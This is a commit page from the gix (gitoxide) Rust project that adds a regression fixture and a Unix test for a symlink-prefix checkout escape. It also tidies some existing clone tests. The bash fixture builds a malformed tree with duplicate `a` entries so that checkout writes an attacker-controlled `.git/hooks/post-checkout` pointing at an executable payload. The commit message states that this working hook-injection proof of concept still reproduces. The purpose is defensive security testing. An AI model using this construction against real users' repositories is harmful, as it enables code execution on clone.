Skip to content

Commit c2ae6cd

Browse files
codexByron
andcommitted
Add clone reproducer for symlink prefix reuse checkout escape
Add a gix integration fixture that constructs a malformed tree with a directory/file conflict on the same path: - `a` as a symlink to `.git/hooks` - `a` as a tree containing `post-checkout -> ../../payload` - `payload` as an executable file The tree is created with `git hash-object --literally` so the duplicate root entries are preserved in the fixture repository. Add a clone checkout regression test that clones this repository and asserts that checkout does not write `.git/hooks/post-checkout` through the attacker-controlled `a` symlink prefix. The test also checks that the payload itself is checked out and remains executable. This currently reproduces the vulnerability: delayed symlink checkout creates `a` first, then reuses the cached `a` prefix when processing `a/post-checkout`, allowing the final symlink creation to resolve through `a` into `.git/hooks/post-checkout`. The fixture is Unix-only at the test level because the exploit depends on Unix symlink behavior. Co-authored-by: Sebastian Thiel <sebastian.thiel@icloud.com>
1 parent 23af41a commit c2ae6cd

3 files changed

Lines changed: 95 additions & 24 deletions

File tree

Binary file not shown.
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
#!/usr/bin/env bash
2+
set -eu -o pipefail
3+
4+
git init --bare --initial-branch=main malicious.git
5+
cd malicious.git
6+
7+
payload_blob=$(printf '#!/bin/sh\n\necho "PWNED: post-checkout" >&2\n' | git hash-object -w --stdin)
8+
target_dir_blob=$(echo -n .git/hooks | git hash-object -w --stdin)
9+
target_file_blob=$(echo -n ../../payload | git hash-object -w --stdin)
10+
11+
subtree=$(printf '120000 blob %s\tpost-checkout\n' "$target_file_blob" | git mktree)
12+
13+
hex2bin() {
14+
perl -e 'print pack("H*", $ARGV[0])' "$1"
15+
}
16+
17+
# The root tree intentionally reuses the path prefix `a` with incompatible
18+
# modes, yielding this malformed tree:
19+
#
20+
# .
21+
# |-- a -> .git/hooks
22+
# |-- a/
23+
# | `-- post-checkout -> ../../payload
24+
# `-- payload*
25+
root_tree() {
26+
printf '120000 a\0'
27+
hex2bin "$target_dir_blob"
28+
29+
printf '40000 a\0'
30+
hex2bin "$subtree"
31+
32+
printf '100755 payload\0'
33+
hex2bin "$payload_blob"
34+
}
35+
36+
root_tree=$(root_tree | git hash-object --literally -t tree -w --stdin)
37+
commit=$(git commit-tree "$root_tree" -m 'Initial commit')
38+
git update-ref refs/heads/main "$commit"
39+
git symbolic-ref HEAD refs/heads/main

gix/tests/gix/clone.rs

Lines changed: 56 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ mod blocking_io {
3030
#[test]
3131
fn fetch_shallow_no_checkout_then_unshallow() -> crate::Result {
3232
let tmp = gix_testtools::tempfile::TempDir::new()?;
33-
let called_configure_remote = std::sync::Arc::new(std::sync::atomic::AtomicBool::default());
33+
let called_configure_remote = std::sync::Arc::new(AtomicBool::default());
3434
let remote_name = "special";
3535
let desired_fetch_tags = gix::remote::fetch::Tags::Included;
3636
let mut prepare = gix::prepare_clone_bare(remote::repo("base").path(), tmp.path())?
@@ -50,7 +50,7 @@ mod blocking_io {
5050
}
5151
})
5252
.with_shallow(Shallow::DepthAtRemote(2.try_into().expect("non-zero")));
53-
let (repo, _out) = prepare.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
53+
let (repo, _out) = prepare.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
5454
drop(prepare);
5555

5656
assert_eq!(
@@ -95,7 +95,7 @@ mod blocking_io {
9595
let tmp = gix_testtools::tempfile::TempDir::new()?;
9696
let (repo, _out) = gix::prepare_clone_bare(remote::repo("base").path(), tmp.path())?
9797
.with_shallow(Shallow::DepthAtRemote(1.try_into()?))
98-
.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
98+
.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
9999

100100
assert!(repo.is_shallow(), "repository should be shallow");
101101

@@ -129,7 +129,7 @@ mod blocking_io {
129129
Default::default(),
130130
gix::open::Options::isolated().config_overrides([Clone::REJECT_SHALLOW.validated_assignment_fmt(&true)?]),
131131
)?
132-
.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())
132+
.fetch_only(gix::progress::Discard, &AtomicBool::default())
133133
.unwrap_err();
134134
assert!(
135135
matches!(
@@ -148,7 +148,7 @@ mod blocking_io {
148148
let tmp = gix_testtools::tempfile::TempDir::new()?;
149149
let (repo, _change) = gix::prepare_clone_bare(remote::repo("base.shallow").path(), tmp.path())?
150150
.with_in_memory_config_overrides(Some("my.marker=1"))
151-
.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
151+
.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
152152
assert_eq!(
153153
shallow_ids(&repo, "present")?,
154154
vec![
@@ -181,7 +181,7 @@ mod blocking_io {
181181
r.replace_refspecs(Some("refs/heads/main:refs/remotes/origin/main"), Direction::Fetch)?;
182182
Ok(r)
183183
})
184-
.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
184+
.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
185185

186186
assert!(repo.is_shallow());
187187
assert_eq!(
@@ -256,7 +256,7 @@ mod blocking_io {
256256
.collect(),
257257
since_cutoff: None,
258258
})
259-
.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
259+
.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
260260

261261
assert!(repo.is_shallow());
262262
assert_eq!(
@@ -281,7 +281,7 @@ mod blocking_io {
281281
#[test]
282282
fn fetch_only_with_configuration() -> crate::Result {
283283
let tmp = gix_testtools::tempfile::TempDir::new()?;
284-
let called_configure_remote = std::sync::Arc::new(std::sync::atomic::AtomicBool::default());
284+
let called_configure_remote = std::sync::Arc::new(AtomicBool::default());
285285
let remote_name = "special";
286286
let desired_fetch_tags = gix::remote::fetch::Tags::Included;
287287
let mut prepare = gix::clone::PrepareFetch::new(
@@ -306,7 +306,7 @@ mod blocking_io {
306306
Ok(r)
307307
}
308308
});
309-
let (repo, out) = prepare.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
309+
let (repo, out) = prepare.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
310310
drop(prepare);
311311

312312
assert!(
@@ -540,16 +540,52 @@ mod blocking_io {
540540
Default::default(),
541541
restricted(),
542542
)?;
543-
let (mut checkout, _out) =
544-
prepare.fetch_then_checkout(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
545-
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
543+
let (mut checkout, _out) = prepare.fetch_then_checkout(gix::progress::Discard, &AtomicBool::default())?;
544+
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &AtomicBool::default())?;
546545

547546
let index = repo.index()?;
548547
assert_eq!(index.entries().len(), 1, "All entries are known as per HEAD tree");
549548

550549
assure_index_entries_on_disk(&index, repo.workdir().expect("non-bare"));
551550
Ok(())
552551
}
552+
553+
#[test]
554+
#[cfg(unix)]
555+
fn fetch_and_checkout_does_not_follow_delayed_symlink_prefixes() -> crate::Result {
556+
use std::os::unix::fs::PermissionsExt;
557+
558+
let fixture = gix_testtools::scripted_fixture_read_only("make_symlink_prefix_reuse_advisory.sh")?;
559+
let tmp = gix_testtools::tempfile::TempDir::new()?;
560+
let mut prepare = gix::clone::PrepareFetch::new(
561+
fixture.join("malicious.git"),
562+
tmp.path(),
563+
gix::create::Kind::WithWorktree,
564+
Default::default(),
565+
restricted(),
566+
)?;
567+
568+
let (mut checkout, _out) = prepare.fetch_then_checkout(gix::progress::Discard, &AtomicBool::default())?;
569+
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &AtomicBool::default())?;
570+
571+
let git_dir = repo.git_dir();
572+
let hook_path = git_dir.join("hooks").join("post-checkout");
573+
assert!(
574+
hook_path.symlink_metadata().is_err(),
575+
"checkout must not write attacker-controlled hooks through a symlink prefix"
576+
);
577+
578+
let worktree = repo.workdir().expect("non-bare");
579+
let payload = worktree.join("payload");
580+
assert!(payload.is_file(), "payload itself is checked out");
581+
assert_ne!(
582+
payload.metadata()?.permissions().mode() & 0o111,
583+
0,
584+
"payload keeps its executable bits"
585+
);
586+
Ok(())
587+
}
588+
553589
#[test]
554590
fn fetch_and_checkout_specific_ref() -> crate::Result {
555591
let tmp = gix_testtools::tempfile::TempDir::new()?;
@@ -563,10 +599,9 @@ mod blocking_io {
563599
restricted(),
564600
)?
565601
.with_ref_name(Some(ref_to_checkout))?;
566-
let (mut checkout, _out) =
567-
prepare.fetch_then_checkout(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
602+
let (mut checkout, _out) = prepare.fetch_then_checkout(gix::progress::Discard, &AtomicBool::default())?;
568603

569-
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
604+
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &AtomicBool::default())?;
570605

571606
assert_eq!(
572607
repo.references()?.all()?.count() - 2,
@@ -613,7 +648,7 @@ mod blocking_io {
613648
.with_ref_name(Some(ref_to_checkout))?;
614649

615650
let err = prepare
616-
.fetch_then_checkout(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())
651+
.fetch_then_checkout(gix::progress::Discard, &AtomicBool::default())
617652
.unwrap_err();
618653
assert_eq!(
619654
err.to_string(),
@@ -654,10 +689,9 @@ mod blocking_io {
654689
restricted(),
655690
)?
656691
.with_ref_name(Some(ref_to_checkout))?;
657-
let (mut checkout, _out) =
658-
prepare.fetch_then_checkout(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
692+
let (mut checkout, _out) = prepare.fetch_then_checkout(gix::progress::Discard, &AtomicBool::default())?;
659693

660-
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
694+
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &AtomicBool::default())?;
661695

662696
assert_eq!(
663697
repo.references()?.all()?.count() - 1,
@@ -703,10 +737,8 @@ mod blocking_io {
703737
Default::default(),
704738
restricted().config_overrides(Some(format!("protocol.version={}", version as u8))),
705739
)?;
706-
let (mut checkout, out) =
707-
prepare.fetch_then_checkout(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
708-
let (repo, _) =
709-
checkout.main_worktree(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
740+
let (mut checkout, out) = prepare.fetch_then_checkout(gix::progress::Discard, &AtomicBool::default())?;
741+
let (repo, _) = checkout.main_worktree(gix::progress::Discard, &AtomicBool::default())?;
710742

711743
assert!(!repo.index_path().is_file(), "newly initialized repos have no index");
712744
let head = repo.head()?;
@@ -750,7 +782,7 @@ mod blocking_io {
750782
Default::default(),
751783
restricted(),
752784
)?
753-
.fetch_only(gix::progress::Discard, &std::sync::atomic::AtomicBool::default())?;
785+
.fetch_only(gix::progress::Discard, &AtomicBool::default())?;
754786
assert!(repo.find_remote("origin").is_ok(), "default remote name is 'origin'");
755787
match out.status {
756788
gix::remote::fetch::Status::Change { write_pack_bundle, .. } => {

0 commit comments

Comments
 (0)